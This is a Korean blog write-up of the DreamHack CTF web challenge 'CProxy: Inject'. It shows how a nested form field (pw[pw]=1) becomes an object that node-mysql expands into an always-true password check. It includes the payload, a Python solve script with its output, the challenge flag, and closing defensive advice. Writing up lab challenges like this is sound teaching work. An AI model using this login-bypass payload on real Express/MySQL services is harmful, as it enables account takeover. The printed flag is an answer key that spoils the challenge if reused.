[๐Ÿฅˆ Silver 3] ๋น„๋ฐ€๋ฒˆํ˜ธ ์ž๋ฆฌ์— ๊ฐ์ฒด๋ฅผ ๋„ฃ๋‹ค โ€” DreamHack CProxy: Inject ํ’€์ด

2026-06-06ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 3] ๋น„๋ฐ€๋ฒˆํ˜ธ ์ž๋ฆฌ์— ๊ฐ์ฒด๋ฅผ ๋„ฃ๋‹ค โ€” DreamHack CProxy: Inject ํ’€์ด

์ฟผ๋ฆฌ๋Š” ? ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋กœ ์•ˆ์ „ํ•˜๊ฒŒ ์งฐ๋Š”๋ฐ๋„ ๋กœ๊ทธ์ธ์ด ๋šซ๋ฆฐ๋‹ค. express์˜ qs ๋ฐ”๋”” ํŒŒ์„œ๊ฐ€ pw๋ฅผ ๊ฐ์ฒด๋กœ ๋งŒ๋“ค๊ณ , node-mysql์ด ๊ทธ ๊ฐ์ฒด๋ฅผ `pw` = '1' ๋กœ ํ’€์–ด์“ฐ๋ฉด์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์‚ฌ๊ฐ€ ํ•ญ์ƒ ์ฐธ์ด ๋๋‹ค. admin_inject ๊ณ„์ •์„ ํƒˆ์ทจํ•ด ์ €์žฅ๋œ ํ”„๋ก์‹œ ์‘๋‹ต์—์„œ ํ”Œ๋ž˜๊ทธ๋ฅผ ๊บผ๋ƒˆ๋‹ค. ์‚ฝ์งˆ๊ณผ ์บก์ณ๋ฅผ ๊ณ๋“ค์ธ ํ’€์ด ๋…ธํŠธ.

๋ฌธ์ œ: DreamHack โ€” CProxy: Inject ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 3 FLAG: DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}

์ž„์˜ ์‚ฌ์ดํŠธ๋กœ HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์„ ๊ธฐ๋กํ•ด ๋ณด์—ฌ์ฃผ๋Š” ํ”„๋ก์‹œ ์„œ๋น„์Šค๋‹ค. ๋ชฉํ‘œ๋Š” ๋ถ„๋ช…ํ•˜๋‹ค โ€” admin_inject ๊ณ„์ •์„ ํƒˆ์ทจํ•˜๊ณ , ๊ทธ ๊ณ„์ •์˜ ํ”„๋ก์‹œ ์‘๋‹ต ๊ธฐ๋ก์„ ์ฝ์–ด๋ผ. ํ”Œ๋ž˜๊ทธ๋Š” ๊ฑฐ๊ธฐ ์ €์žฅ๋ผ ์žˆ๋‹ค.

CProxy ๋กœ๊ทธ์ธ/ํšŒ์›๊ฐ€์ž… ํผ
CProxy ๋กœ๊ทธ์ธ/ํšŒ์›๊ฐ€์ž… ํผ


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…CProxy: Inject
๋‚œ์ด๋„๐Ÿฅˆ Silver 3
๋ถ„๋ฅ˜Web (Node.js / SQL Injection)
์ŠคํƒExpress 4 + express-session + mysql(node) + MariaDB
์ œ๊ณต์ „์ฒด ์†Œ์Šค + ์„œ๋ฒ„
ํ•ต์‹ฌ? ํŒŒ๋ผ๋ฏธํ„ฐ๋ผ๋„ ๊ฐ’์ด ๊ฐ์ฒด๋ฉด ๋šซ๋ฆฐ๋‹ค โ€” qs ๋ฐ”๋”” + node-mysql ๊ฐ์ฒด ์ด์Šค์ผ€์ดํ”„

ํ”Œ๋ž˜๊ทธ๊ฐ€ ์–ด๋”” ์žˆ๋Š”์ง€๋ถ€ํ„ฐ ๋ณด์ž. DB ์ดˆ๊ธฐํ™” ์Šคํฌ๋ฆฝํŠธ์— ๋‹ต์ด ์žˆ๋‹ค.

INSERT INTO users (_id, id, pw) VALUES (1, 'admin_inject', '<์‹ค์ œ ๋น„๋ฒˆ>');
INSERT INTO responses (_id, uid, res) VALUES (1, 1, '{"...","data":"DH{...}","url":"flag_inject"}');

responses ํ…Œ์ด๋ธ”์˜ _id=1 ํ–‰(์†Œ์œ ์ž uid=1 = admin_inject)์˜ data๊ฐ€ ํ”Œ๋ž˜๊ทธ๋‹ค. ์ด๊ฑธ ์ฝ๋Š” API๋Š” ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

app.get('/api/history/:rid(\\d+)', requireAuth, async (req, res) => {
    const rid = parseInt(req.params.rid, 10);
    const result = await db.getResponse(req.session.uid, rid);   // uid ๋Š” ์„ธ์…˜์—์„œ
    ...
});
// db.getResponse:  SELECT res FROM responses WHERE _id = ? and uid = ?   [rid, uid]

uid๋Š” ์„ธ์…˜์—์„œ ์˜จ๋‹ค. ์ฆ‰ req.session.uid === 1 ์ธ ์„ธ์…˜, ๋‹ค์‹œ ๋งํ•ด admin_inject๋กœ ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์—ฌ์•ผ rid=1์„ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค. ๊ฒฐ๊ตญ ๋ฌธ์ œ๋Š” "์–ด๋–ป๊ฒŒ admin_inject๋กœ ๋กœ๊ทธ์ธํ•˜๋А๋ƒ"๋กœ ์ขํ˜€์ง„๋‹ค.



๐Ÿงฑ ๋ฐฐ๊ฒฝ โ€” SQL ์ธ์ ์…˜๊ณผ Prepared Statement

์›น ๋กœ๊ทธ์ธ์—์„œ ๊ฐ€์žฅ ํ”ํ•œ ์ทจ์•ฝ์ ์ด SQL ์ธ์ ์…˜์ด๋‹ค. ์ž…๋ ฅ์„ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด์— ๊ทธ๋Œ€๋กœ ์ด์–ด ๋ถ™์ด๋ฉด, ๊ณต๊ฒฉ์ž๊ฐ€ ๋”ฐ์˜ดํ‘œ๋กœ ๋ฌธ์ž์—ด์„ ํƒˆ์ถœํ•ด OR 1=1 ๊ฐ™์€ ์กฐ๊ฑด์„ ๋ผ์›Œ ๋„ฃ๊ณ  ์ธ์ฆ์„ ํ†ต์งธ๋กœ ์šฐํšŒํ•œ๋‹ค.

SQL ์ธ์ ์…˜ โ€” ์ž…๋ ฅ์œผ๋กœ ์ฟผ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ฐ”๊ฟ” ์ธ์ฆ์„ ์šฐํšŒ
SQL ์ธ์ ์…˜ โ€” ์ž…๋ ฅ์œผ๋กœ ์ฟผ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ฐ”๊ฟ” ์ธ์ฆ์„ ์šฐํšŒ

์ถœ์ฒ˜: Wikimedia Commons, Batka savemazaalai, CC BY-SA 4.0

์ด๊ฑธ ๋ง‰๋Š” ํ‘œ์ค€ ๋ฐฉ๋ฒ•์ด prepared statement(ํŒŒ๋ผ๋ฏธํ„ฐ๋ผ์ด์ฆˆ๋“œ ์ฟผ๋ฆฌ)๋‹ค. ์ฟผ๋ฆฌ์˜ ๋ผˆ๋Œ€(... WHERE id = ? AND pw = ?)๋ฅผ ๋จผ์ € DB์— ๋ณด๋‚ด๊ณ  ๊ฐ’์€ ๋”ฐ๋กœ ๋ฐ”์ธ๋”ฉํ•œ๋‹ค. ๊ฐ’์€ ๋ฐ์ดํ„ฐ๋กœ๋งŒ ์ทจ๊ธ‰๋ผ SQL ๊ตฌ๋ฌธ์ด ๋˜์ง€ ๋ชปํ•˜๋ฏ€๋กœ, ์œ„ ๊ทธ๋ฆผ์˜ ' OR 1=1 -- ๋ฅ˜๋Š” ๋ฌด๋ ฅํ™”๋œ๋‹ค.

CProxy๋„ ?๋กœ ๋ฐ”์ธ๋”ฉํ•œ๋‹ค. ๊ทธ๋ž˜์„œ ๋ฌธ์ž์—ด ๊ธฐ๋ฐ˜ ์ธ์ ์…˜์€ ๋ง‰ํ˜€ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ๋ฐ”์ธ๋”ฉ์ด ์ง€์ผœ์ฃผ๋Š” ๊ฑด ๊ฐ’์ด "๋ฌธ์ž์—ด"์ผ ๋•Œ๊นŒ์ง€๋‹ค. ์ด๋ฒˆ ๋ฌธ์ œ์˜ ๋นˆํ‹ˆ์€ ๊ฑฐ๊ธฐ ์žˆ์—ˆ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” ์ฟผ๋ฆฌ๋Š” ๋ฉ€์ฉกํ•˜๋‹ค

๋กœ๊ทธ์ธยทํšŒ์›๊ฐ€์ž…์€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

async function doRegister(id, pw) {
    await query("INSERT INTO users (id, pw) VALUES (?, ?)", [id, pw]);   // UNIQUE(id)
}
async function doLogin(id, pw) {
    const result = await query("SELECT * FROM users WHERE id = ? AND pw = ?", [id, pw]);
    if (result.length === 1) {
        return result[0]._id;          // ์ด ๊ฐ’์ด session.uid ๊ฐ€ ๋œ๋‹ค
    }
}

? ํ”Œ๋ ˆ์ด์Šคํ™€๋”(prepared statement)๋ฅผ ์“ด๋‹ค. ๋ฌธ์ž์—ด์„ ์•„๋ฌด๋ฆฌ ์ •๊ตํ•˜๊ฒŒ ๋„ฃ์–ด๋„ SQL ๊ตฌ๋ฌธ์œผ๋กœ ํ•ด์„๋˜์ง€ ์•Š์œผ๋‹ˆ, ๊ต๊ณผ์„œ์ ์ธ ' OR 1=1 -- ๋ฅ˜๋Š” ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค. ์‹ค์ œ๋กœ ํ‹€๋ฆฐ ๋น„๋ฒˆ์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด 401์ด๋‹ค.

admin_inject + ํ‹€๋ฆฐ ๋น„๋ฒˆ โ†’ 401 Unauthorized
admin_inject + ํ‹€๋ฆฐ ๋น„๋ฒˆ โ†’ 401 Unauthorized

์—ฌ๊ธฐ์„œ ๋ง‰ํ˜€์„œ ์ •๊ณต๋ฒ•์„ ํ•œ์ฐธ ๋‘๋“œ๋ ธ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” ์ •๊ณต๋ฒ•์œผ๋กœ ์•ˆ ๋˜๋Š” ๊ฒƒ๋“ค
  • ์ค‘๋ณต ๊ฐ€์ž…: users.id์—” UNIQUE ์ œ์•ฝ์ด ์žˆ์–ด admin_inject๋กœ ๋‹ค์‹œ ๊ฐ€์ž…ํ•˜๋ฉด 409. ๋Œ€์†Œ๋ฌธ์ž๋งŒ ๋ฐ”๊ฟ”๋„(utf8mb4_general_ci๋Š” ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ ์•ˆ ํ•จ) ๊ฐ™์€ ๊ฐ’์œผ๋กœ ์ทจ๊ธ‰๋ผ ์ถฉ๋Œ.
  • ๋ฌธ์ž์—ด SQLi: id/pw ๋‘˜ ๋‹ค ?๋กœ ๋ฐ”์ธ๋”ฉ โ†’ ๋”ฐ์˜ดํ‘œยท์ฃผ์„ ๋‹ค ๋ฌด๋ ฅํ™”.
  • SQL ํŠธ๋ ์ผ€์ด์…˜: varchar(64) ์ดˆ๊ณผ๋กœ ์ž๋ฅด๋Š” ํŠธ๋ฆญ์„ ๋– ์˜ฌ๋ ธ์ง€๋งŒ, MariaDB 10.9๋Š” ๊ธฐ๋ณธ STRICT ๋ชจ๋“œ๋ผ ๊ธธ์ด ์ดˆ๊ณผ ์‹œ ์ž˜๋ฆฌ๋Š” ๋Œ€์‹  ์—๋Ÿฌ๊ฐ€ ๋‚œ๋‹ค.

์ฟผ๋ฆฌ ๋ฌธ์ž์—ด์„ ๊ฑด๋“œ๋ฆฌ๋Š” ๊ธธ์€ ๋‹ค ๋ง‰ํ˜€ ์žˆ์—ˆ๋‹ค. ๊ทธ๋ž˜์„œ "๊ฐ’์œผ๋กœ ๋“ค์–ด๊ฐ€๋Š” ๋ฐ์ดํ„ฐ์˜ ํƒ€์ž…"์„ ์˜์‹ฌํ•˜๊ธฐ ์‹œ์ž‘ํ–ˆ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ๊ฐ’์ด ๋ฌธ์ž์—ด์ด ์•„๋‹ˆ์–ด๋„ ๋œ๋‹ค

๋‘ ๊ฐ€์ง€๊ฐ€ ๋งž๋ฌผ๋ฆฐ๋‹ค.

(1) express์˜ ๋ฐ”๋”” ํŒŒ์„œ๋Š” ๊ฐ์ฒด๋ฅผ ๋งŒ๋“ ๋‹ค. app.use(express.urlencoded())๋Š” ๋‚ด๋ถ€์ ์œผ๋กœ qs๋กœ ํผ ๋ฐ”๋””๋ฅผ ํŒŒ์‹ฑํ•œ๋‹ค. qs๋Š” ๋Œ€๊ด„ํ˜ธ ํ‘œ๊ธฐ๋ฅผ ์ค‘์ฒฉ ๊ตฌ์กฐ๋กœ ํ‘ผ๋‹ค. ๊ทธ๋ž˜์„œ pw=1์€ ๋ฌธ์ž์—ด์ด์ง€๋งŒ, pw[pw]=1์€ ๊ฐ์ฒด { pw: "1" }๊ฐ€ ๋œ๋‹ค.

POST /auth   body: id=admin_inject&pw[pw]=1
โ†’ req.body = { id: "admin_inject", pw: { pw: "1" } }

(2) node mysql์€ ๊ฐ์ฒด๋ฅผ `key` = value๋กœ ํ‘ผ๋‹ค. query(sql, [id, pw])์—์„œ ?๋Š” ๊ฐ’ ํƒ€์ž…์— ๋”ฐ๋ผ ๋‹ค๋ฅด๊ฒŒ ์ด์Šค์ผ€์ดํ”„๋œ๋‹ค. ๋ฌธ์ž์—ด์€ ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ์ง€๋งŒ, ๊ฐ์ฒด๋Š” SET ์ ˆ ๋ฌธ๋ฒ•์ธ `key` = value๋กœ ํŽผ์นœ๋‹ค. ์ปจํ…Œ์ด๋„ˆ์—์„œ ์‹ค์ œ๋กœ ์ฐ์–ด๋ณด๋ฉด ๋ถ„๋ช…ํ•˜๋‹ค.

์ •์ƒ  : SELECT * FROM users WHERE id = 'admin_inject' AND pw = 'wrongpw'
์ธ์ ์…˜: SELECT * FROM users WHERE id = 'admin_inject' AND pw = `pw` = '1'
๋ฐฐ์—ดpw: SELECT * FROM users WHERE id = 'admin_inject' AND pw = 'a', 'b'

pw = ?์— ๊ฐ์ฒด {pw:"1"}์ด ๋“ค์–ด๊ฐ€๋‹ˆ pw = `pw` = '1'์ด ๋๋‹ค. ์ด๊ฒŒ ์–ด๋–ป๊ฒŒ ์ฐธ์ด ๋˜๋Š”์ง€ ๋ณด์ž.

qs ๋ฐ”๋”” ๊ฐ์ฒด โ†’ node-mysql ์ด์Šค์ผ€์ดํ”„ โ†’ ๋น„๋ฒˆ ๊ฒ€์‚ฌ ์šฐํšŒ
qs ๋ฐ”๋”” ๊ฐ์ฒด โ†’ node-mysql ์ด์Šค์ผ€์ดํ”„ โ†’ ๋น„๋ฒˆ ๊ฒ€์‚ฌ ์šฐํšŒ

MySQL์—์„œ =๋Š” ์ขŒ๊ฒฐํ•ฉ์ด๋ผ pw = `pw` = '1'์€ (pw = `pw`) = '1'๋กœ ๋ฌถ์ธ๋‹ค.

  • pw = `pw` โ†’ ๊ฐ™์€ ์ปฌ๋Ÿผ๋ผ๋ฆฌ ๋น„๊ต๋ผ ํ•ญ์ƒ 1(์ฐธ). (pw๋Š” NOT NULL)
  • 1 = '1' โ†’ '1'์€ ์ˆซ์ž 1๋กœ ์บ์ŠคํŒ… โ†’ 1 = 1 โ†’ ์ฐธ.

๊ฒฐ๊ตญ pw ์กฐ๊ฑด์€ ์‹ค์ œ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ๋ฌด๊ด€ํ•˜๊ฒŒ ํ•ญ์ƒ ์ฐธ์ด๋‹ค. WHERE id = 'admin_inject' AND 1 โ†’ admin_inject ํ–‰ ํ•œ ๊ฑด๋งŒ ๋งค์นญ๋˜๊ณ , result.length === 1์„ ๋งŒ์กฑํ•ด result[0]._id = 1์ด ์„ธ์…˜ uid๋กœ ๋ฐ•ํžŒ๋‹ค.

โ–ถ๐Ÿ› ์™œ ํ•˜ํ•„ ํ‚ค๊ฐ€ pw ์—ฌ์•ผ ํ–ˆ๋‚˜ (๋‹ค๋ฅธ ์‹œ๋„๋“ค)

๊ฐ์ฒด์˜ ํ‚ค๋Š” escapeId๋กœ ๋ฐฑํ‹ฑ ์‹๋ณ„์ž๊ฐ€ ๋œ๋‹ค. ๊ทธ๋ž˜์„œ ํ‚ค๋Š” ์‹ค์žฌํ•˜๋Š” ์ปฌ๋Ÿผ(_id, id, pw)์ด์–ด์•ผ ํ•œ๋‹ค. ์—†๋Š” ์ปฌ๋Ÿผ์ด๋ฉด Unknown column ์—๋Ÿฌ๋กœ ์ฟผ๋ฆฌ๊ฐ€ ์ฃฝ์–ด ๋กœ๊ทธ์ธ ์‹คํŒจ๋‹ค.

  • ํ‚ค pw โ†’ (pw = pw) = '1' โ†’ 1 = 1 โ†’ ์ฐธ โœ…
  • ํ‚ค id โ†’ (pw = id) = '1' โ†’ admin ํ–‰์€ (๋น„๋ฒˆ = 'admin_inject') = 0 โ†’ 0 = '1' โ†’ ๊ฑฐ์ง“ โŒ
  • ํ‚ค _id โ†’ (pw = _id) = '1' โ†’ (๋น„๋ฒˆ = 1) โ†’ ๋ณดํ†ต ๊ฑฐ์ง“ โŒ

๋ฐฐ์—ด์„ ๋„ฃ์œผ๋ฉด(pw[]=a&pw[]=b) pw = 'a', 'b'๊ฐ€ ๋˜๋Š”๋ฐ WHERE์—์„œ ์ฝค๋งˆ๋Š” ๋ฌธ๋ฒ• ์˜ค๋ฅ˜๋ผ ์ฟผ๋ฆฌ๊ฐ€ ์ฃฝ๋Š”๋‹ค. ๊ทธ๋ž˜์„œ ๊ฐ์ฒด + ํ‚ค pw ์กฐํ•ฉ์ด ์ •๋‹ต์ด์—ˆ๋‹ค.



๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” ๋กœ๊ทธ์ธ ์šฐํšŒ โ†’ ๊ธฐ๋ก ์œ ์ถœ

ํŽ˜์ด๋กœ๋“œ๋Š” ํ•œ ์ค„์ด๋‹ค. ํผ ๋Œ€์‹  ๋ฐ”๋””๋งŒ ๊ฐ์ฒด๋กœ ๋ฐ”๊ฟ” ๋ณด๋‚ธ๋‹ค.

POST /auth
id=admin_inject&pw[pw]=1

๋กœ๊ทธ์ธ๋˜๋ฉด /(ํ”„๋ก์‹œ ํ™”๋ฉด)์— ๋“ค์–ด๊ฐ€์ง„๋‹ค โ€” admin_inject ์„ธ์…˜์„ ์†์— ๋„ฃ์€ ๊ฒƒ์ด๋‹ค.

์ธ์ ์…˜ ๋กœ๊ทธ์ธ ์„ฑ๊ณต โ€” admin_inject ๋กœ ํ”„๋ก์‹œ ํ™”๋ฉด ์ง„์ž…
์ธ์ ์…˜ ๋กœ๊ทธ์ธ ์„ฑ๊ณต โ€” admin_inject ๋กœ ํ”„๋ก์‹œ ํ™”๋ฉด ์ง„์ž…

/api/history๋กœ admin_inject์˜ ์‘๋‹ต ๊ธฐ๋ก ๋ชฉ๋ก์„ ๋ณธ๋‹ค. rid=1, url=flag_inject๊ฐ€ ๋ณด์ธ๋‹ค.

/api/history โ€” admin_inject(uid=1) ์˜ ๊ธฐ๋ก ๋ชฉ๋ก
/api/history โ€” admin_inject(uid=1) ์˜ ๊ธฐ๋ก ๋ชฉ๋ก

/api/history/1๋กœ ๊ทธ ๊ธฐ๋ก์˜ ์ƒ์„ธ๋ฅผ ์—ด๋ฉด data์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋“ค์–ด ์žˆ๋‹ค.

/api/history/1 โ€” ์ €์žฅ๋œ ์‘๋‹ต data ์— ํ”Œ๋ž˜๊ทธ
/api/history/1 โ€” ์ €์žฅ๋œ ์‘๋‹ต data ์— ํ”Œ๋ž˜๊ทธ


๐Ÿš€ Full Exploit

requests๋Š” data ๋”•์…”๋„ˆ๋ฆฌ์˜ ํ‚ค์— ๋Œ€๊ด„ํ˜ธ๋ฅผ ๊ทธ๋Œ€๋กœ ์จ์„œ pw[pw]=1์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

#!/usr/bin/env python3
import sys, re, requests
 
BASE = sys.argv[1].rstrip("/")
s = requests.Session()
 
# 1) ๊ฐ์ฒด ์ธ์ ์…˜์œผ๋กœ admin_inject ๋กœ๊ทธ์ธ ์šฐํšŒ  (pw[pw]=1 โ†’ {"pw":"1"})
r = s.post(f"{BASE}/auth", data={"id": "admin_inject", "pw[pw]": "1"},
           allow_redirects=False, timeout=15)
print(f"[1] login(inject): HTTP {r.status_code} Location={r.headers.get('Location')}")
 
# 2) admin_inject(uid=1) ์˜ ์‘๋‹ต ๊ธฐ๋ก
hist = s.get(f"{BASE}/api/history", timeout=15).json()
print(f"[2] history: {hist}")
 
# 3) ๊ฐ rid ์ƒ์„ธ โ†’ flag
for item in hist:
    res = s.get(f"{BASE}/api/history/{item['rid']}", timeout=15).json()
    data = res.get("data", "")
    m = re.search(r"DH\{[^}]+\}", data if isinstance(data, str) else str(data))
    print(f"[3] rid={item['rid']} data={data!r}")
    if m:
        print("[+] FLAG:", m.group(0))
[1] login(inject): HTTP 302 Location=/
[2] history: [{'rid': 1, 'res': {'status': 200, 'url': 'flag_inject'}}]
[3] rid=1 data='DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}'
[+] FLAG: DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}

solve.py ์‹คํ–‰ โ€” ๋กœ๊ทธ์ธ ์šฐํšŒ ํ›„ ๊ธฐ๋ก์—์„œ flag ํšŒ์ˆ˜
solve.py ์‹คํ–‰ โ€” ๋กœ๊ทธ์ธ ์šฐํšŒ ํ›„ ๊ธฐ๋ก์—์„œ flag ํšŒ์ˆ˜



๐Ÿ“ ๊ฒฐ๋ก 

Prepared statement๋Š” ํ•„์š”์กฐ๊ฑด์ด์ง€ ์ถฉ๋ถ„์กฐ๊ฑด์ด ์•„๋‹ˆ๋‹ค.

?๋กœ ๋ฐ”์ธ๋”ฉํ–ˆ์œผ๋‹ˆ ์•ˆ์ „ํ•˜๋‹ค๊ณ  ๋ฏฟ๊ธฐ ์‰ฝ์ง€๋งŒ, ๊ทธ๊ฑด ๊ฐ’์ด ๋ฌธ์ž์—ด์ผ ๋•Œ ์–˜๊ธฐ๋‹ค. node mysql์€ ๊ฐ’์˜ ํƒ€์ž…์„ ๋ณด๊ณ  ๊ฐ์ฒด๋ฉด `key` = value๋กœ, ๋ฐฐ์—ด์ด๋ฉด ๋ฆฌ์ŠคํŠธ๋กœ ํŽผ์นœ๋‹ค. ๋ฐ”์ธ๋”ฉ๋งŒ ํ–ˆ์ง€ ๊ฐ’์˜ ํƒ€์ž…์„ ๊ฐ•์ œํ•˜์ง€ ์•Š์œผ๋ฉด, ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฐ’์„ ๊ฐ์ฒด๋กœ ๋ฐ”๊ฟ” ์ฟผ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ํ”๋“ค ์ˆ˜ ์žˆ๋‹ค.

๋ฐ”๋”” ํŒŒ์„œ๊ฐ€ ํƒ€์ž…์„ ๋ฐ”๊พผ๋‹ค๋Š” ๊ฑธ ์žŠ์ง€ ๋ง ๊ฒƒ.

express.urlencoded()(qs)๋Š” pw[pw]=1 ๊ฐ™์€ ์ž…๋ ฅ์„ ๊ตฐ๋ง ์—†์ด ์ค‘์ฒฉ ๊ฐ์ฒด๋กœ ๋งŒ๋“ ๋‹ค. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ณด๋‚ธ ๊ฐ’์ด ๋ฌธ์ž์—ด์ด๋ผ๋Š” ๋ณด์žฅ์€ ์–ด๋””์—๋„ ์—†๋‹ค. req.body.id, req.body.pw๋ฅผ SQL์— ๋„˜๊ธฐ๊ธฐ ์ „์— String(...)์œผ๋กœ ์บ์ŠคํŒ…ํ•˜๊ฑฐ๋‚˜, ํƒ€์ž…์ด ๋ฌธ์ž์—ด์ธ์ง€ ๋ช…์‹œ์ ์œผ๋กœ ๊ฒ€์ฆํ•ด์•ผ ํ–ˆ๋‹ค. (express.urlencoded({ extended: false })๋กœ ์ค‘์ฒฉ ํŒŒ์‹ฑ์„ ๋„๋Š” ๊ฒƒ๋„ ํ•œ ๋ฐฉ๋ฒ•์ด๋‹ค.)

์ธ์ฆ ์šฐํšŒ์˜ ๋ฌด๊ฒŒ.

์ด๋ฒˆ์—” ๋ฉ”๋ชจ ํ•œ ๊ฑด์„ ์ฝ๋Š” ๋ฌธ์ œ์˜€์ง€๋งŒ, ๊ฐ™์€ ๊ฒฐํ•จ์ด ์ผ๋ฐ˜ ๋กœ๊ทธ์ธ์— ์žˆ์—ˆ๋‹ค๋ฉด ์ž„์˜ ๊ณ„์ • ํƒˆ์ทจ๋กœ ์ง๊ฒฐ๋œ๋‹ค. "์ฟผ๋ฆฌ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ผ์ด์ฆˆํ–ˆ๋‹ค"๋Š” ์•ˆ์‹ฌ์ด ๊ฐ€์žฅ ์œ„ํ—˜ํ–ˆ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 4] vim ์Šค์™‘์œผ๋กœ ์†Œ์Šค๋ฅผ ์ค๊ณ  PHP ๋งค์ง ํ•ด์‹œ๋กœ admin ๋กœ๊ทธ์ธ โ€” DreamHack [wargame.kr] jff3_magic ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] vim ์Šค์™‘์œผ๋กœ ์†Œ์Šค๋ฅผ ์ค๊ณ  PHP ๋งค์ง ํ•ด์‹œ๋กœ admin ๋กœ๊ทธ์ธ โ€” DreamHack [wargame.kr] jff3_magic ํ’€์ด

๋ฐฐํฌ ํŒŒ์ผ์ด ํ•˜๋‚˜๋„ ์—†๋Š” ๋ธ”๋ž™๋ฐ•์Šค ์›น ๋ฌธ์ œ. ๋ฉ”์ธ ํŽ˜์ด์ง€ alert ์ด ํ˜๋ฆฐ "hint : swp" ํ•œ ์ค„์—์„œ vim ์Šค์™‘ ํŒŒ์ผ์„ ์ฃผ์›Œ ์†Œ์Šค๋ฅผ ๋ณต๊ตฌํ•˜๊ณ , andยทorยทunion ์„ ์ „๋ถ€ ๋ง‰๋Š” ์ž์ฒด ๋ฐฉํ™”๋ฒฝ์„ HAVING + REGEXP ๋กœ ์šฐํšŒํ•ด admin ์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ๋ฝ‘์•˜๋‹ค. ๊ทธ ํ•ด์‹œ๊ฐ€ 0e ๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋งค์ง ํ•ด์‹œ๋ผ PHP ์˜ ๋А์Šจํ•œ ๋น„๊ต ํ•˜๋‚˜๋กœ ๋กœ๊ทธ์ธ์ด ๋šซ๋ฆฐ๋‹ค.
#dreamhack#ctf#web+6
2026-08-14#dreamhack +5
[๐Ÿฅˆ Silver 3] ํƒญ ํ•œ ๊ธ€์ž๋กœ ์ง€์›Œ์ง„ admin ์„ ๋˜์‚ด๋ฆฐ๋‹ค โ€” DreamHack My Best Friend ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ํƒญ ํ•œ ๊ธ€์ž๋กœ ์ง€์›Œ์ง„ admin ์„ ๋˜์‚ด๋ฆฐ๋‹ค โ€” DreamHack My Best Friend ํ’€์ด

์ธ์‚ฌ๋งŒ ๋Œ๋ ค์ฃผ๋Š” express ์„œ๋น„์Šค๊ฐ€ ๋‚ด๋ถ€ Private API ๋ฅผ SSRF ๋กœ ํ˜ธ์ถœํ•œ๋‹ค. admin ์ด๋ผ๋Š” ๋ฌธ์ž์—ด๊ณผ ํผ์„ผํŠธยท๋ฌผ์Œํ‘œยท์ƒต์„ ์ „๋ถ€ ๋ง‰์•„ ๋†จ์ง€๋งŒ, ๋‹จ์–ด ํ•œ๊ฐ€์šด๋ฐ์— ํƒญ ๋ฌธ์ž๋ฅผ ๋ผ์šฐ๋ฉด ํ•„ํ„ฐ๋Š” ๋‹ค๋ฅธ ๋‹จ์–ด๋กœ ๋ณด๊ณ  ํ†ต๊ณผ์‹œํ‚ค๊ณ  axios ๊ฐ€ URL ์„ ํŒŒ์‹ฑํ•˜๋Š” ์ˆœ๊ฐ„ ๊ทธ ํƒญ์ด ์‚ฌ๋ผ์ง€๋ฉด์„œ admin ์ด ๋˜์‚ด์•„๋‚œ๋‹ค. express ๊ธฐ๋ณธ ์ฟผ๋ฆฌ ํŒŒ์„œ๊ฐ€ ์ค‘๋ณต ํ‚ค๋ฅผ ๋ฐฐ์—ด๋กœ ๋ฌถ์–ด ์ฃผ๋Š” ์„ฑ์งˆ๊นŒ์ง€ ์–น์œผ๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋–จ์–ด์ง„๋‹ค.
#dreamhack#ctf#web+6
2026-08-15#dreamhack +4
